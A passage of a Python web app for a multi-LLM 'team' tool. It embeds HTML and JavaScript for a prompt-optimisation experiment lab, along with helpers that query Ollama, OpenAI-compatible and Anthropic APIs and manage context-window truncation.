await fetch('/api/demo/allowlist', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({ip, action:'remove'})});
|
|
loadAllowlist();
|
|
toast('Removed ' + ip);
|
|
}
|
|
|
|
function toast(msg, ok=true, detail) {
|
|
var t = document.createElement('div');
|
|
t.className = 'toast ' + (ok ? 'ok' : 'err');
|
|
t.textContent = ok ? '✓ ' + msg : '✗ ' + msg;
|
|
if (detail) {
|
|
var d = document.createElement('div');
|
|
d.className = 'toast-detail';
|
|
d.textContent = detail;
|
|
t.appendChild(d);
|
|
}
|
|
document.body.appendChild(t);
|
|
setTimeout(function() { t.style.opacity = '0'; t.style.transition = 'opacity 0.3s'; setTimeout(function() { t.remove(); }, 300); }, 3000);
|
|
}
|
|
|
|
loadConfig();
|
|
|
|
// Background grid
|
|
!function(){var c=document.getElementById('bg-grid');if(!c)return;var x=c.getContext('2d');function resize(){c.width=window.innerWidth;c.height=window.innerHeight}resize();window.addEventListener('resize',resize);var t=0;function draw(){x.clearRect(0,0,c.width,c.height);var s=50,ox=(t*0.2)%s,oy=(t*0.1)%s;x.fillStyle='rgba(226,181,90,0.025)';for(var gx=-s+ox;gx<c.width+s;gx+=s)for(var gy=-s+oy;gy<c.height+s;gy+=s){x.beginPath();x.arc(gx,gy,0.7,0,Math.PI*2);x.fill()}t++;requestAnimationFrame(draw)}draw()}();
|
|
</script>
|
|
</body>
|
|
</html>
|
|
"""
|
|
|
|
LAB_HTML = r"""
|
|
<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<title>LLM Team - Lab</title>
|
|
<style>
|
|
:root { --bg:#0a0c10;--surface:#151820;--surface2:#1c2030;--border:#272d3f;--text:#e4e4e7;--text2:#a1a1aa;
|
|
--accent:#6366f1;--accent2:#818cf8;--green:#22c55e;--orange:#f59e0b;--red:#ef4444;--blue:#3b82f6;--glow:rgba(99,102,241,0.12); }
|
|
*{box-sizing:border-box;margin:0;padding:0}
|
|
body{font-family:'Inter',-apple-system,sans-serif;background:var(--bg);color:var(--text);min-height:100vh}
|
|
.c{max-width:1200px;margin:0 auto;padding:16px 24px}
|
|
header{display:flex;align-items:center;gap:14px;padding:16px 0;border-bottom:1px solid var(--border);margin-bottom:20px}
|
|
header h1{font-size:22px;font-weight:700;letter-spacing:-0.5px}
|
|
header h1 span{background:linear-gradient(135deg,var(--green),#4ade80);-webkit-background-clip:text;-webkit-text-fill-color:transparent}
|
|
header nav{margin-left:auto;display:flex;gap:6px}
|
|
header nav a{color:var(--text2);text-decoration:none;font-size:12px;padding:4px 10px;border:1px solid var(--border);border-radius:6px}
|
|
header nav a:hover{border-color:var(--accent);color:var(--accent2)}
|
|
.tabs{display:flex;gap:4px;margin-bottom:20px}
|
|
.tab{padding:8px 16px;background:var(--surface);border:1px solid var(--border);border-radius:6px;color:var(--text2);cursor:pointer;font-size:13px;font-weight:500;transition:all .15s}
|
|
.tab:hover{border-color:var(--accent);color:var(--text)}
|
|
.tab.active{border-color:var(--accent);background:var(--glow);color:var(--accent2)}
|
|
.tc{display:none}.tc.active{display:block}
|
|
.card{background:var(--surface);border:1px solid var(--border);border-radius:10px;padding:18px;margin-bottom:12px}
|
|
.card h3{font-size:15px;font-weight:600;margin-bottom:12px;display:flex;align-items:center;gap:8px}
|
|
.row{display:flex;gap:10px;align-items:center;margin-bottom:10px;font-size:13px}
|
|
.row label{width:100px;color:var(--text2);flex-shrink:0;font-weight:500}
|
|
.row input,.row select,.row textarea{flex:1;background:var(--bg);border:1px solid var(--border);color:var(--text);border-radius:5px;padding:7px 10px;font-size:13px;font-family:inherit}
|
|
.row input:focus,.row select:focus,.row textarea:focus{outline:none;border-color:var(--accent)}
|
|
.btn{padding:7px 14px;border:1px solid var(--border);border-radius:6px;background:var(--surface2);color:var(--text);cursor:pointer;font-size:12px;font-weight:500;transition:all .15s}
|
|
.btn:hover{border-color:var(--accent);color:var(--accent2)}
|
|
.btn-p{background:var(--accent);border-color:var(--accent);color:white}
|
|
.btn-p:hover{filter:brightness(1.15)}
|
|
.btn-g{background:rgba(34,197,94,.15);border-color:var(--green);color:var(--green)}
|
|
.btn-r{background:rgba(239,68,68,.1);border-color:var(--red);color:var(--red)}
|
|
.btn-o{background:rgba(245,158,11,.1);border-color:var(--orange);color:var(--orange)}
|
|
.exp-item{background:var(--surface2);border:1px solid var(--border);border-radius:8px;padding:14px;margin-bottom:8px;cursor:pointer;transition:border-color .15s}
|
|
.exp-item:hover{border-color:var(--accent)}
|
|
.exp-item .name{font-weight:600;font-size:14px}
|
|
.exp-item .meta{font-size:11px;color:var(--text2);display:flex;gap:12px;margin-top:4px}
|
|
.status-pill{display:inline-block;padding:2px 8px;border-radius:10px;font-size:10px;font-weight:600;text-transform:uppercase}
|
|
.status-pill.idle{background:var(--surface);color:var(--text2)}
|
|
.status-pill.running{background:rgba(34,197,94,.15);color:var(--green);animation:pulse 2s infinite}
|
|
.status-pill.paused{background:rgba(245,158,11,.15);color:var(--orange)}
|
|
@keyframes pulse{0%,100%{opacity:1}50%{opacity:.6}}
|
|
.eval-row{display:grid;grid-template-columns:1fr 1fr auto;gap:8px;margin-bottom:6px;align-items:start}
|
|
.eval-row textarea{min-height:50px;font-size:12px;resize:vertical}
|
|
.eval-row .btn{margin-top:0;flex-shrink:0;align-self:center}
|
|
.model-chip{display:inline-block;padding:3px 10px;border-radius:12px;font-size:11px;margin:2px;cursor:pointer;border:1px solid var(--border);transition:all .15s}
|
|
.model-chip:hover{border-color:var(--accent)}
|
|
.model-chip.sel{background:var(--glow);border-color:var(--accent);color:var(--accent2)}
|
|
.chart-wrap{background:var(--bg);border:1px solid var(--border);border-radius:8px;padding:12px;margin-bottom:14px;overflow:hidden}
|
|
.chart-wrap svg{width:100%;height:200px}
|
|
.trial-log{max-height:400px;overflow-y:auto}
|
|
.trial-log::-webkit-scrollbar{width:4px}
|
|
.trial-log::-webkit-scrollbar-thumb{background:var(--border);border-radius:4px}
|
|
.trial-item{display:flex;align-items:center;gap:8px;padding:6px 10px;font-size:12px;border-bottom:1px solid var(--border)}
|
|
.trial-item:last-child{border:none}
|
|
.trial-item .num{width:30px;color:var(--text2);font-weight:600}
|
|
.trial-item .diff{flex:1;color:var(--text2);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
|
|
.trial-item .score{font-weight:600;width:50px;text-align:right}
|
|
.trial-item .ind{width:8px;height:8px;border-radius:50%;flex-shrink:0}
|
|
.best-box{background:var(--surface2);border:1px solid var(--green);border-radius:8px;padding:12px;font-size:12px;white-space:pre-wrap;max-height:200px;overflow-y:auto}
|
|
.toast{position:fixed;top:20px;right:20px;padding:10px 16px;border-radius:8px;font-size:13px;z-index:100;animation:fi .2s}
|
|
.toast.ok{background:rgba(34,197,94,.15);border:1px solid var(--green);color:var(--green)}
|
|
.toast.err{background:rgba(239,68,68,.1);border:1px solid var(--red);color:var(--red)}
|
|
@keyframes fi{from{opacity:0;transform:translateY(-10px)}to{opacity:1}}
|
|
.empty{text-align:center;padding:40px;color:var(--text2);font-size:13px}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div class="c">
|
|
<header>
|
|
<h1><span>Lab</span> AutoResearch</h1>
|
|
<nav style="margin-left:auto;display:flex;gap:8px;align-items:center"><a href="/">Team UI</a><a href="/admin">Admin</a><span style="opacity:0.3">|</span><a href="/logout" style="opacity:0.5;font-size:11px">Logout</a></nav>
|
|
</header>
|
|
<div class="tabs">
|
|
<div class="tab active" onclick="labTab('experiments')">Experiments</div>
|
|
<div class="tab" onclick="labTab('config')">Mutable Config</div>
|
|
<div class="tab" onclick="labTab('monitor')">Live Monitor</div>
|
|
<div class="tab" onclick="labTab('results')">Results</div>
|
|
</div>
|
|
|
|
<!-- EXPERIMENTS TAB -->
|
|
<div id="lt-experiments" class="tc active">
|
|
<div class="card">
|
|
<h3>Create Experiment <button class="btn btn-p" style="margin-left:auto" onclick="showCreate()">+ New</button></h3>
|
|
<div id="exp-list"><div class="empty">Loading...</div></div>
|
|
</div>
|
|
<div id="create-form" class="card" style="display:none;border-color:var(--green)">
|
|
<h3>New Experiment</h3>
|
|
<div class="row"><label>Name</label><input id="cr-name" placeholder="e.g. Prompt Optimization v1"></div>
|
|
<div class="row"><label>Objective</label><input id="cr-obj" placeholder="e.g. Improve answer quality for technical questions"></div>
|
|
<div class="row"><label>Metric</label><select id="cr-metric"><option value="quality">Quality (LLM Judge)</option><option value="accuracy">Accuracy (Match)</option><option value="speed">Speed</option></select></div>
|
|
<div style="font-size:11px;text-transform:uppercase;letter-spacing:1.5px;color:var(--text2);margin:12px 0 8px;font-weight:600">Model Pool</div>
|
|
<div id="cr-models"></div>
|
|
<div style="font-size:11px;text-transform:uppercase;letter-spacing:1.5px;color:var(--text2);margin:12px 0 8px;font-weight:600">Eval Cases</div>
|
|
<div id="cr-evals"></div>
|
|
<button class="btn" onclick="addEvalRow()" style="margin-bottom:12px">+ Add Eval Case</button>
|
|
<div class="row" style="justify-content:flex-end;gap:6px">
|
|
<button class="btn" onclick="hideCreate()">Cancel</button>
|
|
<button class="btn btn-p" onclick="createExp()">Create</button>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- MUTABLE CONFIG TAB -->
|
|
<div id="lt-config" class="tc">
|
|
<div class="card" id="config-panel">
|
|
<h3>Mutable Config <span style="font-size:11px;color:var(--text2)" id="cfg-exp-name"></span></h3>
|
|
<div id="no-exp-cfg" class="empty">Select an experiment from the Experiments tab first.</div>
|
|
<div id="cfg-editor" style="display:none">
|
|
<div class="row"><label>System Prompt</label></div>
|
|
<textarea id="cfg-sysprompt" style="width:100%;min-height:100px;background:var(--bg);border:1px solid var(--border);color:var(--text);border-radius:6px;padding:10px;font-size:12px;margin-bottom:10px;font-family:inherit" placeholder="You are a helpful assistant."></textarea>
|
|
<div class="row"><label>Temperature</label><input id="cfg-temp" type="range" min="0" max="1.5" step="0.05" value="0.7" oninput="document.getElementById('cfg-temp-val').textContent=this.value"><span id="cfg-temp-val" style="width:30px;text-align:center;font-size:12px">0.7</span></div>
|
|
<div class="row"><label>Model</label><select id="cfg-model"></select></div>
|
|
<div class="row" style="justify-content:flex-end"><button class="btn btn-p" onclick="saveConfig()">Save Config</button></div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- LIVE MONITOR TAB -->
|
|
<div id="lt-monitor" class="tc">
|
|
<div class="card">
|
|
<h3><span id="mon-name">No Experiment Selected</span>
|
|
<div style="margin-left:auto;display:flex;gap:6px">
|
|
<button class="btn btn-g" onclick="startExp()">Start</button>
|
|
<button class="btn btn-o" onclick="pauseExp()">Pause</button>
|
|
<button class="btn btn-r" onclick="resetExp()">Reset</button>
|
|
</div>
|
|
</h3>
|
|
<div style="display:flex;gap:16px;margin-bottom:14px;font-size:13px">
|
|
<div>Status: <span class="status-pill" id="mon-status">idle</span></div>
|
|
<div>Trials: <strong id="mon-trials">0</strong></div>
|
|
<div>Best: <strong id="mon-best" style="color:var(--green)">0.0</strong>/10</div>
|
|
<div>Improvements: <strong id="mon-impr">0</strong></div>
|
|
</div>
|
|
</div>
|
|
<div class="card">
|
|
<h3>Score Progression</h3>
|
|
<div class="chart-wrap"><svg id="score-chart" viewBox="0 0 800 200"></svg></div>
|
|
</div>
|
|
<div class="card">
|
|
<h3>Trial Log</h3>
|
|
<div class="trial-log" id="trial-log"><div class="empty">Start an experiment to see trials here.</div></div>
|
|
</div>
|
|
<div class="card">
|
|
<h3>Best Config</h3>
|
|
<div class="best-box" id="best-config-display">No best config yet.</div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- RESULTS TAB -->
|
|
<div id="lt-results" class="tc">
|
|
<div class="card">
|
|
<h3>All Experiments</h3>
|
|
<div id="results-list"><div class="empty">Loading...</div></div>
|
|
</div>
|
|
<div class="card" id="result-detail" style="display:none">
|
|
<h3 id="res-name">Experiment</h3>
|
|
<div class="chart-wrap"><svg id="res-chart" viewBox="0 0 800 200"></svg></div>
|
|
<div class="trial-log" id="res-trials"></div>
|
|
<div style="margin-top:12px"><button class="btn btn-p" onclick="exportBest()">Export Best Config</button></div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<script>
|
|
let experiments = [], activeExp = null, activeStream = null, allModels = [], trialData = [];
|
|
|
|
async function init() {
|
|
const r = await fetch('/api/models');
|
|
const d = await r.json();
|
|
allModels = d.models || [];
|
|
await loadExperiments();
|
|
}
|
|
|
|
async function loadExperiments() {
|
|
const r = await fetch('/api/lab/experiments');
|
|
const d = await r.json();
|
|
experiments = d.experiments || [];
|
|
renderExpList();
|
|
renderResults();
|
|
}
|
|
|
|
function renderExpList() {
|
|
const el = document.getElementById('exp-list');
|
|
if (!experiments.length) { el.innerHTML = '<div class="empty">No experiments yet. Create one to get started.</div>'; return; }
|
|
el.innerHTML = experiments.map(e => {
|
|
const rate = e.total_trials > 0 ? ((e.improvements / e.total_trials) * 100).toFixed(0) : 0;
|
|
return `<div class="exp-item" onclick="selectExp(${e.id})">
|
|
<div class="name">${e.name} <span class="status-pill ${e.status}">${e.status}</span></div>
|
|
<div class="meta"><span>Trials: ${e.total_trials}</span><span>Best: ${(e.best_score||0).toFixed(1)}/10</span><span>Improvements: ${e.improvements} (${rate}%)</span><span>${e.metric}</span></div>
|
|
</div>`;
|
|
}).join('');
|
|
}
|
|
|
|
async function selectExp(id) {
|
|
const r = await fetch('/api/lab/experiments/' + id);
|
|
activeExp = await r.json();
|
|
trialData = activeExp.trials || [];
|
|
updateMonitor();
|
|
updateConfigEditor();
|
|
toast('Loaded: ' + activeExp.name);
|
|
}
|
|
|
|
function updateMonitor() {
|
|
if (!activeExp) return;
|
|
document.getElementById('mon-name').textContent = activeExp.name;
|
|
document.getElementById('mon-status').textContent = activeExp.status;
|
|
document.getElementById('mon-status').className = 'status-pill ' + activeExp.status;
|
|
document.getElementById('mon-trials').textContent = activeExp.total_trials;
|
|
document.getElementById('mon-best').textContent = (activeExp.best_score || 0).toFixed(1);
|
|
document.getElementById('mon-impr').textContent = activeExp.improvements;
|
|
if (activeExp.best_config) {
|
|
document.getElementById('best-config-display').textContent = JSON.stringify(activeExp.best_config, null, 2);
|
|
}
|
|
renderTrialLog();
|
|
renderChart('score-chart', trialData);
|
|
}
|
|
|
|
function updateConfigEditor() {
|
|
if (!activeExp) return;
|
|
document.getElementById('no-exp-cfg').style.display = 'none';
|
|
document.getElementById('cfg-editor').style.display = '';
|
|
document.getElementById('cfg-exp-name').textContent = '(' + activeExp.name + ')';
|
|
const mc = activeExp.mutable_config || {};
|
|
document.getElementById('cfg-sysprompt').value = mc.system_prompt || '';
|
|
document.getElementById('cfg-temp').value = mc.temperature || 0.7;
|
|
document.getElementById('cfg-temp-val').textContent = mc.temperature || 0.7;
|
|
const sel = document.getElementById('cfg-model');
|
|
sel.innerHTML = (activeExp.models_pool || []).map(m => `<option value="${m}" ${m===mc.model?'selected':''}>${m}</option>`).join('');
|
|
}
|
|
|
|
async function saveConfig() {
|
|
if (!activeExp) return;
|
|
const mc = {
|
|
system_prompt: document.getElementById('cfg-sysprompt').value,
|
|
temperature: parseFloat(document.getElementById('cfg-temp').value),
|
|
model: document.getElementById('cfg-model').value,
|
|
};
|
|
await fetch('/api/lab/experiments/' + activeExp.id, {method:'PUT', headers:{'Content-Type':'application/json'}, body:JSON.stringify({mutable_config:mc})});
|
|
activeExp.mutable_config = mc;
|
|
toast('Config saved');
|
|
}
|
|
|
|
async function startExp() {
|
|
if (!activeExp) return toast('Select an experiment first', false);
|
|
await fetch('/api/lab/experiments/' + activeExp.id + '/start', {method:'POST'});
|
|
activeExp.status = 'running';
|
|
updateMonitor();
|
|
startStream();
|
|
toast('Experiment started');
|
|
}
|
|
|
|
async function pauseExp() {
|
|
if (!activeExp) return;
|
|
await fetch('/api/lab/experiments/' + activeExp.id + '/pause', {method:'POST'});
|
|
activeExp.status = 'paused';
|
|
updateMonitor();
|
|
toast('Experiment paused');
|
|
}
|
|
|
|
async function resetExp() {
|
|
if (!activeExp) return;
|
|
if (!confirm('Reset all trials for this experiment?')) return;
|
|
await fetch('/api/lab/experiments/' + activeExp.id + '/reset', {method:'POST'});
|
|
trialData = [];
|
|
activeExp.total_trials = 0;
|
|
activeExp.improvements = 0;
|
|
activeExp.best_score = 0;
|
|
activeExp.status = 'idle';
|
|
updateMonitor();
|
|
toast('Experiment reset');
|
|
}
|
|
|
|
function startStream() {
|
|
if (activeStream) activeStream.close();
|
|
if (!activeExp) return;
|
|
const es = new EventSource('/api/lab/experiments/' + activeExp.id + '/stream');
|
|
activeStream = es;
|
|
es.onmessage = function(e) {
|
|
const d = JSON.parse(e.data);
|
|
if (d.type === 'trial') {
|
|
trialData.push(d);
|
|
activeExp.total_trials = d.trial;
|
|
activeExp.best_score = d.best;
|
|
if (d.improved) activeExp.improvements = (activeExp.improvements||0) + 1;
|
|
updateMonitor();
|
|
} else if (d.type === 'done') {
|
|
activeExp.status = 'paused';
|
|
updateMonitor();
|
|
es.close();
|
|
} else if (d.type === 'error') {
|
|
toast(d.message, false);
|
|
}
|
|
};
|
|
es.onerror = function() { es.close(); };
|
|
}
|
|
|
|
function renderTrialLog() {
|
|
const el = document.getElementById('trial-log');
|
|
if (!trialData.length) { el.innerHTML = '<div class="empty">No trials yet.</div>'; return; }
|
|
el.innerHTML = trialData.slice(-50).reverse().map(t =>
|
|
`<div class="trial-item">
|
|
<div class="ind" style="background:${t.improved?'var(--green)':'var(--red)'}"></div>
|
|
<div class="num">#${t.trial}</div>
|
|
<div class="diff">${t.diff || 'no change'}</div>
|
|
<div class="score" style="color:${t.improved?'var(--green)':'var(--text2)'}">${t.score.toFixed(1)}</div>
|
|
</div>`
|
|
).join('');
|
|
el.scrollTop = 0;
|
|
}
|
|
|
|
function renderChart(svgId, trials) {
|
|
const svg = document.getElementById(svgId);
|
|
if (!trials.length) { svg.innerHTML = '<text x="400" y="100" text-anchor="middle" fill="#a1a1aa" font-size="14">No data yet</text>'; return; }
|
|
const w = 800, h = 200, pad = 30;
|
|
const maxScore = 10, minScore = 0;
|
|
const pts = trials.map((t, i) => {
|
|
const x = pad + (i / Math.max(trials.length - 1, 1)) * (w - pad * 2);
|
|
const y = h - pad - ((t.score - minScore) / (maxScore - minScore)) * (h - pad * 2);
|
|
return {x, y, score: t.score, improved: t.improved, trial: t.trial};
|
|
});
|
|
// Best score line
|
|
const bestY = h - pad - ((Math.max(...trials.map(t=>t.best||t.score)) - minScore) / (maxScore - minScore)) * (h - pad * 2);
|
|
let html = `<line x1="${pad}" y1="${bestY}" x2="${w-pad}" y2="${bestY}" stroke="#22c55e" stroke-width="1" stroke-dasharray="4,4" opacity="0.4"/>`;
|
|
// Score line
|
|
const line = pts.map(p => `${p.x},${p.y}`).join(' ');
|
|
html += `<polyline points="${line}" fill="none" stroke="var(--accent)" stroke-width="2" opacity="0.7"/>`;
|
|
// Dots
|
|
pts.forEach(p => {
|
|
html += `<circle cx="${p.x}" cy="${p.y}" r="3" fill="${p.improved?'#22c55e':'#ef4444'}" opacity="0.8"/>`;
|
|
});
|
|
// Axes
|
|
html += `<line x1="${pad}" y1="${pad}" x2="${pad}" y2="${h-pad}" stroke="var(--border)" stroke-width="1"/>`;
|
|
html += `<line x1="${pad}" y1="${h-pad}" x2="${w-pad}" y2="${h-pad}" stroke="var(--border)" stroke-width="1"/>`;
|
|
// Labels
|
|
for (let s = 0; s <= 10; s += 2) {
|
|
const y = h - pad - (s / 10) * (h - pad * 2);
|
|
html += `<text x="${pad-5}" y="${y+4}" text-anchor="end" fill="var(--text2)" font-size="10">${s}</text>`;
|
|
}
|
|
svg.innerHTML = html;
|
|
}
|
|
|
|
// Create experiment
|
|
function showCreate() { document.getElementById('create-form').style.display = ''; renderModelChips(); addEvalRow(); }
|
|
function hideCreate() { document.getElementById('create-form').style.display = 'none'; }
|
|
|
|
let selectedModels = new Set();
|
|
function renderModelChips() {
|
|
document.getElementById('cr-models').innerHTML = allModels.map(m => {
|
|
const s = selectedModels.has(m.name);
|
|
return `<span class="model-chip ${s?'sel':''}" onclick="toggleChip('${m.name}')">${m.display_name || m.name}</span>`;
|
|
}).join('');
|
|
}
|
|
function toggleChip(name) { selectedModels.has(name) ? selectedModels.delete(name) : selectedModels.add(name); renderModelChips(); }
|
|
|
|
let evalRows = [];
|
|
function addEvalRow() {
|
|
evalRows.push({input:'', expected:''});
|
|
renderEvalRows();
|
|
}
|
|
function renderEvalRows() {
|
|
document.getElementById('cr-evals').innerHTML = evalRows.map((r, i) =>
|
|
`<div class="eval-row">
|
|
<textarea placeholder="Input prompt..." oninput="evalRows[${i}].input=this.value">${r.input}</textarea>
|
|
<textarea placeholder="Expected output (optional)..." oninput="evalRows[${i}].expected=this.value">${r.expected}</textarea>
|
|
<button class="btn btn-r" onclick="evalRows.splice(${i},1);renderEvalRows()">x</button>
|
|
</div>`
|
|
).join('');
|
|
}
|
|
|
|
async function createExp() {
|
|
const name = document.getElementById('cr-name').value.trim();
|
|
if (!name) return toast('Name required', false);
|
|
if (!selectedModels.size) return toast('Select at least one model', false);
|
|
if (!evalRows.filter(r=>r.input).length) return toast('Add at least one eval case', false);
|
|
const models = [...selectedModels];
|
|
const body = {
|
|
name,
|
|
objective: document.getElementById('cr-obj').value,
|
|
metric: document.getElementById('cr-metric').value,
|
|
models_pool: models,
|
|
eval_cases: evalRows.filter(r => r.input),
|
|
mutable_config: { system_prompt: 'You are a helpful assistant.', temperature: 0.7, model: models[0] }
|
|
};
|
|
await fetch('/api/lab/experiments', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify(body)});
|
|
hideCreate();
|
|
evalRows = [];
|
|
selectedModels.clear();
|
|
document.getElementById('cr-name').value = '';
|
|
document.getElementById('cr-obj').value = '';
|
|
await loadExperiments();
|
|
toast('Experiment created');
|
|
}
|
|
|
|
// Results tab
|
|
function renderResults() {
|
|
const el = document.getElementById('results-list');
|
|
if (!experiments.length) { el.innerHTML = '<div class="empty">No experiments yet.</div>'; return; }
|
|
el.innerHTML = experiments.map(e => {
|
|
const rate = e.total_trials > 0 ? ((e.improvements / e.total_trials) * 100).toFixed(0) : 0;
|
|
return `<div class="exp-item" onclick="viewResult(${e.id})">
|
|
<div class="name">${e.name} <span class="status-pill ${e.status}">${e.status}</span></div>
|
|
<div class="meta"><span>Trials: ${e.total_trials}</span><span>Best: ${(e.best_score||0).toFixed(1)}/10</span><span>Hit rate: ${rate}%</span></div>
|
|
</div>`;
|
|
}).join('');
|
|
}
|
|
|
|
async function viewResult(id) {
|
|
const r = await fetch('/api/lab/experiments/' + id);
|
|
const exp = await r.json();
|
|
document.getElementById('result-detail').style.display = '';
|
|
document.getElementById('res-name').textContent = exp.name;
|
|
const trials = (exp.trials || []).map(t => ({trial: t.trial_num, score: t.avg_score, improved: t.improved, best: exp.best_score, diff: t.config_diff}));
|
|
renderChart('res-chart', trials);
|
|
document.getElementById('res-trials').innerHTML = trials.slice(-50).reverse().map(t =>
|
|
`<div class="trial-item">
|
|
<div class="ind" style="background:${t.improved?'var(--green)':'var(--red)'}"></div>
|
|
<div class="num">#${t.trial}</div>
|
|
<div class="diff">${t.diff || ''}</div>
|
|
<div class="score" style="color:${t.improved?'var(--green)':'var(--text2)'}">${(t.score||0).toFixed(1)}</div>
|
|
</div>`
|
|
).join('');
|
|
activeExp = exp;
|
|
}
|
|
|
|
function exportBest() {
|
|
if (!activeExp || !activeExp.best_config) return toast('No best config', false);
|
|
const blob = new Blob([JSON.stringify(activeExp.best_config, null, 2)], {type:'application/json'});
|
|
const a = document.createElement('a');
|
|
a.href = URL.createObjectURL(blob);
|
|
a.download = (activeExp.name||'config').replace(/\s+/g,'_') + '_best.json';
|
|
a.click();
|
|
}
|
|
|
|
function labTab(name) {
|
|
document.querySelectorAll('.tab').forEach(t => t.classList.toggle('active', t.textContent.toLowerCase().includes(name.substring(0,4))));
|
|
document.querySelectorAll('.tc').forEach(c => c.classList.toggle('active', c.id === 'lt-'+name));
|
|
if (name === 'results') loadExperiments();
|
|
}
|
|
|
|
function toast(msg, ok=true) {
|
|
const t = document.createElement('div');
|
|
t.className = 'toast ' + (ok ? 'ok' : 'err');
|
|
t.textContent = msg;
|
|
document.body.appendChild(t);
|
|
setTimeout(() => t.remove(), 3000);
|
|
}
|
|
|
|
init();
|
|
</script>
|
|
</body>
|
|
</html>
|
|
"""
|
|
|
|
|
|
# ─── HELPERS ───────────────────────────────────────────────────
|
|
|
|
def _get_timeout(model_id):
|
|
cfg = load_config()
|
|
t = cfg["timeouts"]["per_model"].get(model_id)
|
|
if t:
|
|
return t
|
|
if "::" in model_id:
|
|
prov = model_id.split("::")[0]
|
|
return cfg["providers"].get(prov, {}).get("timeout", cfg["timeouts"]["global"])
|
|
return cfg["providers"].get("ollama", {}).get("timeout", cfg["timeouts"]["global"])
|
|
|
|
|
|
def query_ollama(model, prompt, timeout):
|
|
cfg = load_config()
|
|
base = cfg["providers"]["ollama"].get("base_url", "http://localhost:11434")
|
|
# Set num_ctx based on prompt size — Ollama defaults to 2048 which is too small
|
|
prompt_tokens = estimate_tokens(prompt)
|
|
ctx_limit = get_context_limit(model)
|
|
num_ctx = min(max(prompt_tokens + 1024, 2048), ctx_limit)
|
|
# Truncate prompt if it exceeds the model's context window
|
|
if prompt_tokens > ctx_limit - 512:
|
|
prompt = smart_truncate(prompt, ctx_limit - 512)
|
|
resp = requests.post(f"{base}/api/generate", json={
|
|
"model": model, "prompt": prompt, "stream": False,
|
|
"options": {"num_ctx": num_ctx}
|
|
}, timeout=timeout)
|
|
resp.raise_for_status()
|
|
return resp.json()["response"]
|
|
|
|
|
|
def query_openai_compatible(model, prompt, provider_name, timeout):
|
|
cfg = load_config()
|
|
prov = cfg["providers"].get(provider_name, {})
|
|
base = prov.get("base_url", "https://openrouter.ai/api/v1")
|
|
api_key = get_api_key(provider_name)
|
|
headers = {"Authorization": f"Bearer {api_key}", "Content-Type": "application/json"}
|
|
if provider_name == "openrouter":
|
|
headers["HTTP-Referer"] = "http://localhost:5000"
|
|
headers["X-Title"] = "LLM Team UI"
|
|
resp = requests.post(f"{base}/chat/completions", headers=headers, json={
|
|
"model": model, "messages": [{"role": "user", "content": prompt}], "stream": False,
|
|
}, timeout=timeout)
|
|
resp.raise_for_status()
|
|
return resp.json()["choices"][0]["message"]["content"]
|
|
|
|
|
|
def query_anthropic(model, prompt, timeout):
|
|
cfg = load_config()
|
|
prov = cfg["providers"].get("anthropic", {})
|
|
base = prov.get("base_url", "https://api.anthropic.com/v1")
|
|
api_key = get_api_key("anthropic")
|
|
resp = requests.post(f"{base}/messages", headers={
|
|
"x-api-key": api_key, "anthropic-version": "2023-06-01", "Content-Type": "application/json",
|
|
}, json={
|
|
"model": model, "max_tokens": 4096,
|
|
"messages": [{"role": "user", "content": prompt}],
|
|
}, timeout=timeout)
|
|
resp.raise_for_status()
|
|
return resp.json()["content"][0]["text"]
|
|
|
|
|
|
def query_model(model_id, prompt):
|
|
timeout = _get_timeout(model_id)
|
|
if "::" in model_id:
|
|
provider_name, model_name = model_id.split("::", 1)
|
|
if provider_name == "anthropic":
|
|
return query_anthropic(model_name, prompt, timeout)
|
|
return query_openai_compatible(model_name, prompt, provider_name, timeout)
|
|
return query_ollama(model_id, prompt, timeout)
|
|
|
|
|
|
# ─── CONTEXT MANAGEMENT ───────────────────────────────────────
|
|
|
|
# Context window sizes (tokens) — conservative estimates for safe prompting
|
|
MODEL_CONTEXT = {
|
|
"llama3.2": 4096, "llama3.1": 8192, "llama3": 8192,
|
|
"mistral": 8192, "gemma2": 8192, "gemma3": 32768,
|
|
"qwen2.5": 8192, "qwen3": 32768,
|
|
"gpt-oss": 4096, "gpt-4o": 128000, "gpt-4o-mini": 128000,
|
|
"claude-3": 200000, "claude-sonnet": 200000, "claude-haiku": 200000,
|
|
}
|
|
DEFAULT_CONTEXT = 4096 # safe fallback for unknown models
|
|
MAX_RESPONSE_CHARS = 12000 # cap individual responses (~3K tokens)
|
|
|
|
|
|
def estimate_tokens(text):
|
|
"""Rough token estimate: ~4 chars per token for English."""
|
|
return len(text) // 4 + 1
|
|
|
|
|
|
def get_context_limit(model_id):
|
|
"""Get context window size for a model."""
|
|
name = model_id.split("::")[-1].split(":")[0].lower()
|
|
for key, limit in MODEL_CONTEXT.items():
|
|
if key in name:
|
|
return limit
|
|
# OpenRouter models generally have larger contexts
|
|
if "::" in model_id:
|
|
return 16000
|
|
return DEFAULT_CONTEXT
|
|
|
|
|
|
def smart_truncate(text, max_tokens, preserve_end=200):
|
|
"""Truncate text preserving start and end, with a clear marker."""
|
|
if estimate_tokens(text) <= max_tokens:
|
|
return text
|
|
max_chars = max_tokens * 4
|
|
end_chars = preserve_end * 4
|
|
if max_chars <= end_chars * 2:
|
|
return text[:max_chars]
|
|
start = text[:max_chars - end_chars - 60]
|
|
end = text[-end_chars:]
|
|
return f"{start}\n\n[... truncated {estimate_tokens(text) - max_tokens} tokens ...]\n\n{end}"
|
|
|
|
|
|
def cap_response(text):
|
|
"""Cap a single model response to prevent runaway output."""
|
|
if len(text) <= MAX_RESPONSE_CHARS:
|
|
return text
|
|
return smart_truncate(text, MAX_RESPONSE_CHARS // 4)
|
|
|
|
|
|
def build_context(parts, model_id, reserve_for_response=1024):
|
|
"""Build a prompt from parts, fitting within model's context window.
|
|
|
|
parts: list of (label, text, priority) tuples
|
|
priority: 1=must keep, 2=important, 3=can truncate heavily
|
|
Returns: assembled prompt string that fits in context.
|
|
"""
|
|
limit = get_context_limit(model_id)
|
|
budget = limit - reserve_for_response
|
|
if budget <= 0:
|
